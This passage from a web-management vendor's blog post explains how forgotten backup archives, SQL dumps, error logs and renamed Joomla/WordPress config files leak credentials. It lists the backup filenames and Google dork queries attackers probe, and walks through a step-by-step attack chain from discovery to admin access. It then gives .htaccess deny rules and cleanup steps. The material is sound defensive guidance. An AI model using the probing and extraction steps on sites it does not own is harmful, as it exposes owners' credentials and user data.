&lt;p&gt;SQL dumps get their own dedicated tool because of the severity of the data they expose. Any file with a &lt;code&gt;.sql&lt;/code&gt; extension (or &lt;code&gt;.sql.gz&lt;/code&gt;, &lt;code&gt;.sql.zip&lt;/code&gt;) is flagged and listed. Not every &lt;code&gt;.sql&lt;/code&gt; file is a database dump. Joomla itself ships with hundreds of &lt;code&gt;.sql&lt;/code&gt; files in its core - schema creation scripts, migration scripts, and upgrade queries used during installation and updates. Extensions and WordPress plugins include them too. Those are normal and expected. But a file called &lt;code&gt;backup-2024-03.sql&lt;/code&gt; or &lt;code&gt;joomla_db.sql.gz&lt;/code&gt; in your site root is a different story entirely, and the tool makes it easy to tell the difference by showing file paths, sizes, and modification dates.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs Tool&lt;/h3&gt;
&lt;p&gt;The error log tool finds PHP error log files throughout your webspace. These often have predictable names (&lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;php_errorlog&lt;/code&gt;, &lt;code&gt;php_errors.log&lt;/code&gt;) but the tool catches them regardless of naming because it identifies them by content pattern, not just filename.&lt;/p&gt;
&lt;h3&gt;Large Files Tool&lt;/h3&gt;
&lt;p&gt;Files over 2MB are flagged separately. This catches oversized error logs that have grown unchecked, large backup archives, database dumps, and other files that shouldn&apos;t typically exist in a web application&apos;s directory structure. A 400MB file in your webspace is almost never legitimate application code. It&apos;s a backup, a log, or something that doesn&apos;t belong there.&lt;/p&gt;
&lt;h3&gt;Running This Across All Your Sites&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, checking each one manually would take hours. With mySites.guru, every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; automatically scans all your connected sites for these file types.&lt;/p&gt;
&lt;p&gt;You can also pivot on any audit tool to see every site&apos;s result for that specific check on a single page. Click &quot;Locate And Review Any SQL Files&quot; and you&apos;ll see which of your 500+ sites have SQL dumps sitting in their webspace, with an Investigate button to drill straight into the details.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The dashboard view makes patterns obvious. If one site has archive files and the rest don&apos;t, that&apos;s a one-off cleanup task. If half your sites have PHP error logs, you&apos;ve got a systemic configuration issue worth addressing at the hosting level.&lt;/p&gt;
&lt;h2&gt;What Files Did You Forget About?&lt;/h2&gt;
&lt;p&gt;These are the file types that mySites.guru flags as dangerous, and why each one matters.&lt;/p&gt;
&lt;h3&gt;Archive Files (ZIP, TAR.GZ, RAR, JPA)&lt;/h3&gt;
&lt;p&gt;Archive files are the most common offender. They end up on web servers for all sorts of legitimate reasons (site migrations, manual backups, extension installations, staging environment setup) and then they just stay there.&lt;/p&gt;
&lt;p&gt;The problem is simple: any file in your document root is accessible via HTTP. If you have a file called &lt;code&gt;backup-2024-11-15.zip&lt;/code&gt; in your site root, anyone can download it by visiting &lt;code&gt;https://yoursite.com/backup-2024-11-15.zip&lt;/code&gt;. No authentication required. No special access needed. Just a direct URL to a file that probably contains your entire site, including &lt;code&gt;configuration.php&lt;/code&gt; with your database password, your SMTP credentials, and every secret your Joomla installation knows about.&lt;/p&gt;
&lt;p&gt;This is not theoretical. The &lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; specifically lists backup archives as a test case for penetration testers because they&apos;re found on production servers so frequently. Automated scanners probe for common backup filenames as part of their standard reconnaissance. Files like &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;backup.tar.gz&lt;/code&gt;, &lt;code&gt;joomla.zip&lt;/code&gt;, &lt;code&gt;database.sql.gz&lt;/code&gt;, and variations with dates are checked routinely.&lt;/p&gt;
&lt;p&gt;Akeeba Backup users face an additional risk. By default, Akeeba stores its backup archives in &lt;code&gt;/administrator/components/com_akeeba/backup/&lt;/code&gt;. The directory is protected by a &lt;code&gt;.htaccess&lt;/code&gt; file on Apache servers, but that protection doesn&apos;t exist on Nginx or LiteSpeed unless you&apos;ve configured it manually. And even on Apache, a misconfigured &lt;code&gt;.htaccess&lt;/code&gt; or a server migration that dropped the file means those archives (your entire site in a single downloadable package) are exposed. This is precisely why Akeeba&apos;s own documentation tells you to download the backup and delete it from the server. Most people skip that second step.&lt;/p&gt;
&lt;p&gt;The same applies to any &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup tool&lt;/a&gt;. If your backup workflow leaves archive files on the server, you&apos;re carrying risk for as long as those files exist.&lt;/p&gt;
&lt;h3&gt;SQL Database Dumps&lt;/h3&gt;
&lt;p&gt;SQL dump files are arguably worse than archives, because they&apos;re plain text. (For a deeper look at securing the database itself, including user privileges, table prefixes, and backup table cleanup, see our &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security guide&lt;/a&gt;.) No decompression needed. An attacker who downloads your &lt;code&gt;.sql&lt;/code&gt; file can open it in any text editor and immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every user account in your Joomla installation, including usernames, email addresses, and password hashes&lt;/li&gt;
&lt;li&gt;Administrator credentials - if your admin password hash is weak, it can be cracked offline in minutes&lt;/li&gt;
&lt;li&gt;Email addresses for newsletter subscribers, contact form submissions, and registered users&lt;/li&gt;
&lt;li&gt;Unpublished articles, draft pages, and configuration data stored in extension tables&lt;/li&gt;
&lt;li&gt;Table names, column names, and relationships that reveal exactly what extensions you run and how your site is built&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SQL dumps end up on servers for the same reasons archives do. You exported the database for a migration. You ran &lt;code&gt;mysqldump&lt;/code&gt; from the command line to create a quick backup before an upgrade. You downloaded a copy to work on locally and forgot to delete it from the server. Your hosting panel&apos;s backup tool dropped a &lt;code&gt;.sql&lt;/code&gt; file into your home directory and you never noticed.&lt;/p&gt;
&lt;p&gt;A file called &lt;code&gt;joomla_db.sql&lt;/code&gt; or &lt;code&gt;database-backup.sql&lt;/code&gt; sitting in your document root is a data breach waiting for someone to request the URL.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs&lt;/h3&gt;
&lt;p&gt;PHP error logs are the silent information leak that almost nobody thinks about. When PHP encounters an error (a deprecated function call, a failed database connection, an undefined variable) it writes the details to a log file. On many shared hosting configurations, that log file lives right in your webspace, often named &lt;code&gt;error_log&lt;/code&gt; or &lt;code&gt;php_errorlog&lt;/code&gt;, sitting in whatever directory the error occurred in.&lt;/p&gt;
&lt;p&gt;Over time, these logs accumulate a significant amount of sensitive information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full server file paths, revealing your hosting account structure, username, and directory layout&lt;/li&gt;
&lt;li&gt;Database connection errors that log the hostname, username, and sometimes the password used in the connection attempt&lt;/li&gt;
&lt;li&gt;API keys and tokens, if an API call fails and the key was passed as a function parameter&lt;/li&gt;
&lt;li&gt;Extension names and versions from deprecation warnings and compatibility errors&lt;/li&gt;
&lt;li&gt;Stack traces that reveal how your code works internally&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP documentation&lt;/a&gt; explains how &lt;code&gt;error_log&lt;/code&gt; and &lt;code&gt;log_errors&lt;/code&gt; control where these files are written. The default behavior on most shared hosting is to write errors to a file in the current directory, which means you can end up with &lt;code&gt;error_log&lt;/code&gt; files scattered throughout your webspace: one in your site root, one in &lt;code&gt;/administrator/&lt;/code&gt;, one in &lt;code&gt;/components/com_whatever/&lt;/code&gt;, and so on. Each one is publicly downloadable unless your server is configured to block access.&lt;/p&gt;
&lt;p&gt;A PHP error log might not sound as dramatic as a database dump, but it gives an attacker exactly the intelligence they need to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;plan a targeted attack&lt;/a&gt; against your specific server configuration.&lt;/p&gt;
&lt;h3&gt;Old Backup Files and Renamed Originals&lt;/h3&gt;
&lt;p&gt;Then there are the ad-hoc backup files that developers create during troubleshooting. You&apos;ve done this. Everyone has. You rename &lt;code&gt;configuration.php&lt;/code&gt; to &lt;code&gt;configuration.php.bak&lt;/code&gt; before editing it, just in case. You copy &lt;code&gt;index.php&lt;/code&gt; to &lt;code&gt;index.php.old&lt;/code&gt; before making changes. You duplicate &lt;code&gt;.htaccess&lt;/code&gt; as &lt;code&gt;.htaccess.backup&lt;/code&gt; before modifying redirect rules.&lt;/p&gt;
&lt;p&gt;Your web server knows that &lt;code&gt;configuration.php&lt;/code&gt; is a PHP file and executes it server-side, so its contents are never exposed to browsers. But &lt;code&gt;configuration.php.bak&lt;/code&gt;? That&apos;s not a PHP file. The server treats it as plain text and serves it directly. Anyone who requests &lt;code&gt;https://yoursite.com/configuration.php.bak&lt;/code&gt; gets to read your database password, your FTP credentials, your secret salt, your SMTP password - everything in that file, rendered as plain text in their browser.&lt;/p&gt;
&lt;p&gt;This applies to any file that&apos;s been renamed with an extension the server doesn&apos;t process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;configuration.php.bak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.old&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php~&lt;/code&gt; (Vim backup files)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp-config.php.bak&lt;/code&gt; (on WordPress sites you also manage)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess.backup&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These renamed files are trivially easy to find. Automated scanners check for common backup extensions on known filenames as part of every standard scan. If you&apos;ve ever created one and forgotten to delete it, it&apos;s been discoverable by anyone running basic recon against your server.&lt;/p&gt;
&lt;h2&gt;Why Do These Files Exist in the First Place?&lt;/h2&gt;
&lt;p&gt;Nobody puts a database dump on a production server and thinks &quot;this is a great idea.&quot; These files accumulate through perfectly reasonable workflows that just happen to leave dangerous artifacts behind.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Migrations&lt;/strong&gt; are the biggest culprit. Moving a Joomla site from one server to another typically involves creating an archive of the files, exporting the database, uploading both to the new server, and importing. The import is done, the site works, everyone moves on, and the archive and SQL dump sit on the new server indefinitely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manual backups before upgrades&lt;/strong&gt; are another common source. Before running a major Joomla update, a cautious admin might create a quick database dump or file archive, just in case the update goes wrong. The update works fine, and the backup becomes invisible clutter. Over time, these accumulate. We&apos;ve seen sites with a dozen old backup archives spanning years of updates, each one a complete snapshot of the site at that point in time, including whatever vulnerabilities existed then.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Development and staging workflows&lt;/strong&gt; leave artifacts too. Developers working directly on production (it happens, even when we all know it shouldn&apos;t) create temp files, SQL dumps for testing, archive packages for deployment. Files with names like &lt;code&gt;test.sql&lt;/code&gt;, &lt;code&gt;staging-dump.sql.gz&lt;/code&gt;, &lt;code&gt;old-site.tar.gz&lt;/code&gt;, or &lt;code&gt;site-before-redesign.zip&lt;/code&gt; are surprisingly common.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hosting control panels&lt;/strong&gt; sometimes contribute by storing backups in subdirectories of your document root. cPanel, Plesk, and DirectAdmin all have backup tools that can create archives in locations that are web-accessible. If the panel&apos;s default backup directory overlaps with your document root, those backups are publicly downloadable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP error logs&lt;/strong&gt; grow silently because they&apos;re a byproduct of normal operation. Every time a visitor triggers a PHP error (a missing image in a template, a deprecated function in an old extension, a database timeout during heavy traffic) the log file gets another entry. Nobody notices until the file is 500MB and eating into &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What Does a Real-World Attack Look Like?&lt;/h2&gt;
&lt;p&gt;Here&apos;s how an attacker actually exploits these files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Discovery.&lt;/strong&gt; The attacker runs a scanner against your domain. The scanner tries common filenames (&lt;code&gt;backup.zip&lt;/code&gt;, &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;database.sql&lt;/code&gt;, &lt;code&gt;db.sql&lt;/code&gt;, &lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;dump.sql&lt;/code&gt;, &lt;code&gt;configuration.php.bak&lt;/code&gt;) and checks the HTTP response code. A 200 means the file exists and is downloadable. A 403 means it exists but access is denied (still useful intelligence). A 404 means it&apos;s not there. This takes seconds.&lt;/p&gt;
&lt;p&gt;If your server has &lt;a href=&quot;https://httpd.apache.org/docs/2.4/mod/mod_autoindex.html&quot;&gt;directory listing enabled&lt;/a&gt; (Apache&apos;s &lt;code&gt;mod_autoindex&lt;/code&gt; with &lt;code&gt;Options +Indexes&lt;/code&gt;), the attacker doesn&apos;t even need to guess filenames. They can browse your directories like a file manager and see everything. The mySites.guru audit checks for this too, and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;directory listing should always be disabled&lt;/a&gt; on production servers.&lt;/p&gt;
&lt;p&gt;Google dorking (using search operators like &lt;code&gt;inurl:backup.sql&lt;/code&gt; or &lt;code&gt;filetype:sql inurl:wp-content&lt;/code&gt;) used to be another common discovery method. Google has been restricting these queries in 2025 and 2026, filtering out more sensitive results and returning fewer &quot;interesting&quot; matches. That&apos;s a welcome change, but it only reduces one discovery vector. Direct filename scanning against your server doesn&apos;t depend on Google at all, and that&apos;s still the primary way attackers find these files.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Extraction.&lt;/strong&gt; The attacker downloads whatever they found. A SQL dump gives them your user table immediately. An archive file gives them everything: they extract it locally and start reading your &lt;code&gt;configuration.php&lt;/code&gt;. A PHP error log gives them file paths, extension names, and server details that inform the next phase of the attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Exploitation.&lt;/strong&gt; With database credentials from &lt;code&gt;configuration.php&lt;/code&gt;, the attacker connects directly to your database if the MySQL port is exposed (or if they&apos;re on the same shared hosting server). With admin password hashes from the SQL dump, they run an offline cracking tool and weak passwords fall in seconds. With knowledge of your exact extension versions from error logs, they search for known vulnerabilities in those specific versions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Access.&lt;/strong&gt; The attacker logs in as an administrator using cracked credentials, or accesses the database directly, or exploits a vulnerability they identified from the intelligence gathered. At this point your site is compromised, and the initial point of entry wasn&apos;t a bug in your code. It was a file you forgot to delete.&lt;/p&gt;
&lt;p&gt;This entire chain can happen within minutes. There&apos;s no &quot;hacking&quot; in the Hollywood sense. It&apos;s just downloading files that shouldn&apos;t be publicly accessible and reading what&apos;s inside them.&lt;/p&gt;
&lt;h2&gt;What Should You Do When You Find These Files?&lt;/h2&gt;
&lt;p&gt;Finding dangerous files is only useful if you actually deal with them. Here&apos;s the priority order:&lt;/p&gt;
&lt;h3&gt;1. SQL Dumps - Delete Immediately&lt;/h3&gt;
&lt;p&gt;There is no reason for a SQL dump file to exist in your webspace. None. If you need database backups (and you do), they should be stored offsite: on a local machine, in cloud storage, or through a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup service&lt;/a&gt; that stores backups outside your document root. Delete every &lt;code&gt;.sql&lt;/code&gt; file from your webspace right now.&lt;/p&gt;
&lt;p&gt;If the SQL dump was downloadable and you don&apos;t know for how long, assume the data has been compromised. Change your database password. Change your Joomla admin passwords. If the dump contained user data, you may have notification obligations depending on your jurisdiction.&lt;/p&gt;
&lt;h3&gt;2. Archive Files - Delete or Move&lt;/h3&gt;
&lt;p&gt;Archive files belong in offsite storage, not in your webspace. Download them to your local machine first if you need them, then delete them from the server.&lt;/p&gt;
&lt;p&gt;If you must keep an archive on the server temporarily (during an active migration, for example), move it above the document root where it&apos;s not web-accessible. On most hosting setups, your document root is something like &lt;code&gt;/home/username/public_html/&lt;/code&gt;. Files placed in &lt;code&gt;/home/username/&lt;/code&gt; (one level up) are not accessible via HTTP.&lt;/p&gt;
&lt;p&gt;If that&apos;s not possible, create a &lt;code&gt;.htaccess&lt;/code&gt; file in the directory containing the archive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(zip|tar|gz|rar|jpa|jps|sql)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks HTTP access to those file types in that directory. But this is a band-aid - the files should still be moved offsite and deleted as soon as possible.&lt;/p&gt;
&lt;h3&gt;3. PHP Error Logs - Delete and Reconfigure&lt;/h3&gt;
&lt;p&gt;Delete all &lt;code&gt;error_log&lt;/code&gt; files from your webspace. Then fix the configuration so they don&apos;t come back.&lt;/p&gt;
&lt;p&gt;In your &lt;code&gt;php.ini&lt;/code&gt; or &lt;code&gt;.user.ini&lt;/code&gt;, set the error log path to a location outside your document root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log_errors = On
error_log = /home/username/logs/php_errors.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;re on shared hosting and can&apos;t modify &lt;code&gt;php.ini&lt;/code&gt;, add this to your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php_value error_log /home/username/logs/php_errors.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key is to keep logging enabled (you need error logs for debugging) but write them somewhere that isn&apos;t publicly accessible. If your host doesn&apos;t allow you to specify a custom log path, at minimum add a &lt;code&gt;.htaccess&lt;/code&gt; rule to block direct access to error log files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;^(error_log|php_errorlog|php_errors\.log)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Backup/Renamed Files - Delete&lt;/h3&gt;
&lt;p&gt;Files like &lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;.htaccess.backup&lt;/code&gt;, and similar renamed copies should be deleted immediately. They contain sensitive configuration data in a format that the server will serve as plain text.&lt;/p&gt;
&lt;p&gt;If you need to keep backup copies of configuration files, store them outside the document root or on your local machine. Never keep them in the webspace with a non-PHP extension.&lt;/p&gt;
&lt;h3&gt;5. Verify After Cleanup&lt;/h3&gt;
&lt;p&gt;After deleting the files, run another audit to confirm they&apos;re gone. This sounds obvious, but we&apos;ve seen cases where file permissions prevented deletion via FTP, or where a cron job recreated the files minutes after they were removed. The follow-up audit confirms the cleanup actually worked.&lt;/p&gt;
&lt;p&gt;Also check that your &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; are clean - attackers sometimes use dot-prefixed filenames to hide backup files and SQL dumps in plain sight.&lt;/p&gt;
&lt;h2&gt;How Do You Prevent These Files From Accumulating?&lt;/h2&gt;
&lt;p&gt;Cleaning up once is necessary. Preventing the problem from recurring is better.&lt;/p&gt;
&lt;h3&gt;Use Offsite Backups&lt;/h3&gt;
&lt;p&gt;Stop creating backups that live on the same server as your site. Use a backup tool that stores archives offsite, whether that&apos;s cloud storage, a remote server, or a local machine. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup feature&lt;/a&gt; stores backups outside your webspace, so there&apos;s never an archive file sitting in a publicly accessible directory.&lt;/p&gt;
&lt;p&gt;If you use Akeeba Backup, configure it to use a remote storage profile (Amazon S3, Dropbox, Google Drive, or any other supported backend) and enable the option to delete the local archive after successful transfer.&lt;/p&gt;
&lt;h3&gt;Create a Post-Migration Checklist&lt;/h3&gt;
&lt;p&gt;Every time you migrate a site, the final step should be deleting the migration artifacts from the destination server. The archive file, the SQL dump, any temporary files created during the import - all of it. Make this part of the process, not an afterthought.&lt;/p&gt;
&lt;h3&gt;Configure PHP Error Logging Properly&lt;/h3&gt;
&lt;p&gt;Set up your PHP error log path once, correctly, and this problem goes away permanently. Point errors to a log file outside your document root and set up log rotation so the file doesn&apos;t grow indefinitely.&lt;/p&gt;
&lt;h3&gt;Schedule Regular Audits&lt;/h3&gt;
&lt;p&gt;The best defense against forgotten files is regular, automated scanning. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule your mySites.guru audits&lt;/a&gt; to run weekly or monthly, and review the results. Files that shouldn&apos;t be there will be flagged before they become a problem.&lt;/p&gt;
&lt;h3&gt;Block Dangerous Extensions at the Server Level&lt;/h3&gt;
&lt;p&gt;Add a server-wide rule to block downloads of common dangerous file types. In your root &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(sql|sql\.gz|sql\.zip|tar|tar\.gz|tgz|jpa|jps|bak|old|save|swp|swo)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This won&apos;t protect you from every possible filename, but it covers the most common patterns and adds a safety net for files that slip through other preventive measures. If your site legitimately serves downloadable ZIP files (product manuals, resource packs, etc.), remove &lt;code&gt;zip&lt;/code&gt; from the list or scope the rule to specific directories rather than the whole site. The point is to block by default and allow by exception, not the other way around.&lt;/p&gt;
&lt;h2&gt;What Are the Joomla-Specific Risks?&lt;/h2&gt;
&lt;p&gt;Joomla sites face some specific challenges with leftover files.&lt;/p&gt;
&lt;h3&gt;The configuration.php Problem&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s &lt;code&gt;configuration.php&lt;/code&gt; is one of the most sensitive files on any web server. It contains database credentials, the secret salt used for session security, SMTP passwords, FTP credentials (if configured), and the temp and log directory paths. A renamed copy of this file (&lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;configuration.php.dist&lt;/code&gt;) serves all of those secrets as plain text.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; has published advisories about configuration file exposure, and penetration testing tools like DirBuster and Gobuster include &lt;code&gt;configuration.php.bak&lt;/code&gt; in their default wordlists. This is one of the first things any scanner checks for on a Joomla site.&lt;/p&gt;
&lt;h3&gt;Akeeba Backup Archive Exposure&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, Akeeba Backup&apos;s default storage directory is inside &lt;code&gt;administrator/components/com_akeeba/backup/&lt;/code&gt;. On Apache with the default &lt;code&gt;.htaccess&lt;/code&gt;, this directory is protected. But protection depends on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;.htaccess&lt;/code&gt; file existing and being intact&lt;/li&gt;
&lt;li&gt;Apache being configured to process &lt;code&gt;.htaccess&lt;/code&gt; files (&lt;code&gt;AllowOverride&lt;/code&gt; not set to &lt;code&gt;None&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The server actually being Apache (Nginx and LiteSpeed ignore &lt;code&gt;.htaccess&lt;/code&gt; entirely)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those conditions aren&apos;t met, every backup archive Akeeba has ever created on that site is downloadable. We&apos;ve seen sites with dozens of JPA archives spanning years of backups, all publicly accessible, totalling gigabytes of complete site snapshots.&lt;/p&gt;
&lt;h3&gt;Extension Installation Packages&lt;/h3&gt;
&lt;p&gt;When you install a Joomla extension from a ZIP file, the package is sometimes left in the &lt;code&gt;/tmp/&lt;/code&gt; directory. Joomla is supposed to clean these up, but it doesn&apos;t always succeed, especially if the temp directory path is wrong or permissions are off. Over time, &lt;code&gt;/tmp/&lt;/code&gt; accumulates installation packages that reveal exactly which extensions you run and at what versions. That&apos;s useful intelligence for an attacker looking for known vulnerabilities.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff files tool&lt;/a&gt; can clean up some of this debris automatically after Joomla updates, but the &lt;code&gt;/tmp/&lt;/code&gt; directory is worth checking manually during your periodic review.&lt;/p&gt;
&lt;h2&gt;Is This Only a Joomla Problem?&lt;/h2&gt;
&lt;p&gt;Everything in this guide applies equally to WordPress sites. The file types are the same (ZIP archives, SQL dumps, PHP error logs, renamed config files), the risks are the same, and the cleanup process is identical. The only difference is the filenames: &lt;code&gt;wp-config.php.bak&lt;/code&gt; instead of &lt;code&gt;configuration.php.bak&lt;/code&gt;, and &lt;code&gt;wp-content/&lt;/code&gt; instead of &lt;code&gt;/administrator/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;WordPress sites accumulate the same dangerous artifacts from migrations, manual backups, and developer troubleshooting. If anything, WordPress sites are targeted more often because there are more of them, which means automated scanners have longer wordlists of common WordPress backup filenames to try.&lt;/p&gt;
&lt;p&gt;mySites.guru runs the same file-level security audit on WordPress sites as it does on Joomla. The archive files tool, SQL dump detection, error log finder, and large files tool all work across both platforms. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt; alongside your Joomla sites, every audit covers both, and the dashboard shows results for all your sites in one place.&lt;/p&gt;
&lt;h2&gt;Connecting to your broader security posture&lt;/h2&gt;
&lt;p&gt;Leftover files aren&apos;t an isolated problem. They&apos;re usually a symptom of a broader gap in operational discipline, and that gap tends to show up in other areas too.&lt;/p&gt;
&lt;p&gt;If archive files and SQL dumps are sitting on your server, what else has been overlooked? Are your &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Joomla extensions up to date&lt;/a&gt;? Is your PHP version current? Are your &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers configured correctly&lt;/a&gt;? Are there &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; that need investigation?&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover all of these areas in a single audit. Dangerous files are one category among many, and addressing them alongside everything else is what turns a one-off cleanup into an ongoing security practice.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, this compounds fast. One forgotten archive on one site is a manageable risk. Forgotten archives across 50 sites, accumulated over years of migrations and updates, is a systemic exposure that you probably don&apos;t even know the full extent of until you scan everything.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;Review Old Backup and Unreferenced Files for Sensitive Information&lt;/a&gt; - OWASP&apos;s full testing guide for finding backup files and unreferenced resources on web servers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Hosting_and_Server_Setup&quot;&gt;Joomla Security Checklist: Hosting and Server Setup&lt;/a&gt; - Official Joomla documentation on server-level security configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP error_log Configuration&lt;/a&gt; - PHP manual reference for controlling where error logs are written&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2021/best-practices-to-secure-your-joomla-website&quot;&gt;Best Practices to Secure Your Joomla Website&lt;/a&gt; - Joomla Community Magazine guide covering file permissions, configuration protection, and more&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Take Action Now&lt;/h2&gt;
&lt;p&gt;If you&apos;ve read this far and you&apos;re thinking &quot;I should probably check my servers,&quot; you&apos;re right. You should.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Already using mySites.guru?&lt;/strong&gt; Run an audit on your sites and look at the archive files, SQL dumps, and error logs results. Clean up whatever you find. Then &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule regular audits&lt;/a&gt; so you catch new files before they become a long-term exposure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not using mySites.guru yet?&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site, no credit card, no commitment. The audit will tell you exactly what&apos;s sitting on your server that shouldn&apos;t be.&lt;/p&gt;
